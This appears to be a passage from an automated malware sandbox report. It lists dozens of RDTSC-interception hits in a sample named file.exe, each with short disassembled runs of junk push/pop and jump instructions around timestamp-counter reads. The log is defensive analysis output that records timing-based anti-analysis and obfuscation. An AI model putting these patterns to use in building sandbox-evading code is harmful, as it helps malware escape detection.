Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65849 second address: F65861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jns 00007FAC54CD2CD6h 0x0000000d jng 00007FAC54CD2CD6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65861 second address: F65865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64A2A second address: F64A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64A30 second address: F64A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64A3C second address: F64A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64A40 second address: F64A48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64A48 second address: F64A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64A4E second address: F64A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64D28 second address: F64D36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FAC54CD2CD6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64D36 second address: F64D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64D3A second address: F64D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F651A8 second address: F651AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65482 second address: F6548D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAC54CD2CD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6548D second address: F65497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FAC54ED35A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65497 second address: F654B6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC54CD2CE1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F654B6 second address: F654CC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAC54ED35B8h 0x00000008 jmp 00007FAC54ED35ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72E62 second address: F72E68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70FD1 second address: F70FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F712F9 second address: F712FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F716A9 second address: F716AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F716AF second address: F716CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC54CD2CE9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7195D second address: F71967 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71967 second address: F7196D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7196D second address: F71971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71971 second address: F71975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71C52 second address: F71C5B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7249F second address: F724C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAC54CD2CE8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70A7C second address: F70A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54ED35B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70A90 second address: F70AA0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jc 00007FAC54CD2CD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70AA0 second address: F70AAA instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC54ED35A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70AAA second address: F70AAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70AAF second address: F70AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70AB5 second address: F70ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007FAC54CD2CF8h 0x0000000d pushad 0x0000000e jp 00007FAC54CD2CD6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70ACB second address: F70AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70AD1 second address: F70AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75277 second address: F752AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ADh 0x00000007 jmp 00007FAC54ED35AAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC54ED35B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F752AA second address: F752AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F752AE second address: F752B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F752B8 second address: F752C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAC54CD2CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB35B8 second address: EB35D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35B2h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CCC3 second address: F7CCD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FAC54CD2CD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CCD1 second address: F7CCD7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E4EF second address: F7E4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B638 second address: F8B642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B642 second address: F8B64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B64A second address: F8B652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92308 second address: F9231C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FAC54CD2CDBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96D49 second address: F96D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96D4F second address: F96D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6934 second address: FA6941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FAC54ED35A6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6941 second address: FA694B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FAC54CD2CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB40B second address: FAB413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAFF7 second address: FAAFFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF2FB second address: FBF326 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAC54ED35B2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAC54ED35B2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD68C second address: FCD6A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6A7 second address: FCD6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6B3 second address: FCD6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAC54CD2CD6h 0x0000000a ja 00007FAC54CD2CD6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6C6 second address: FCD6D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35ACh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD6D8 second address: FCD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD240 second address: FCD245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD245 second address: FCD24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD3CD second address: FCD3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6768 second address: FE6774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FAC54CD2CD6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE562A second address: FE5645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B6h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5645 second address: FE564B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5779 second address: FE57A5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAC54ED35A6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAC54ED35B8h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5917 second address: FE5949 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FAC54CD2CE8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5949 second address: FE594E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE594E second address: FE5963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FAC54CD2CDDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5963 second address: FE5969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5AAA second address: FE5AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5AAE second address: FE5AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE60CE second address: FE60DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAC54CD2CD6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE60DC second address: FE60E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jl 00007FAC54ED35A6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE60E9 second address: FE60F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE60F0 second address: FE60FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6241 second address: FE6250 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC54CD2CD6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6250 second address: FE6255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE6255 second address: FE625B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE625B second address: FE625F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9362 second address: FE93C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dh, ah 0x0000000c push 00000004h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FAC54CD2CD8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 jmp 00007FAC54CD2CE4h 0x0000002d pushad 0x0000002e mov edi, dword ptr [ebp+122D26AEh] 0x00000034 adc ax, A20Dh 0x00000039 popad 0x0000003a mov edx, ebx 0x0000003c call 00007FAC54CD2CD9h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push esi 0x00000045 pop esi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE93C8 second address: FE93CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE961E second address: FE9635 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAC54CD2CD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FAC54CD2CDCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9635 second address: FE9639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEA7CA second address: FEA7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jmp 00007FAC54CD2CDCh 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC2A8 second address: FEC2B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FAC54ED35A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBEC3 second address: FEBED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FAC54CD2CD6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBED0 second address: FEBEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jl 00007FAC54ED35A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBEDC second address: FEBEE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDDD3 second address: FEDDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEDDD7 second address: FEDDDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500027 second address: 550002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550002B second address: 5500031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500031 second address: 5500081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FAC54ED35ACh 0x00000008 pop eax 0x00000009 jmp 00007FAC54ED35ABh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007FAC54ED35B9h 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov ecx, ebx 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov ebx, esi 0x00000023 call 00007FAC54ED35AAh 0x00000028 pop ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0CD6 second address: 54E0CFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC54CD2CDDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0CFB second address: 54E0D5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC54ED35AAh 0x00000009 sub esi, 4EA29448h 0x0000000f jmp 00007FAC54ED35ABh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a mov eax, edx 0x0000001c pushfd 0x0000001d jmp 00007FAC54ED35ABh 0x00000022 jmp 00007FAC54ED35B3h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FAC54ED35B5h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0D5B second address: 54E0D9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAC54CD2CDEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAC54CD2CE7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308A5 second address: 55308AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308AB second address: 55308AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308AF second address: 55308CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAC54ED35B0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308CA second address: 55308D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55308D0 second address: 55308D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0141 second address: 54C0146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
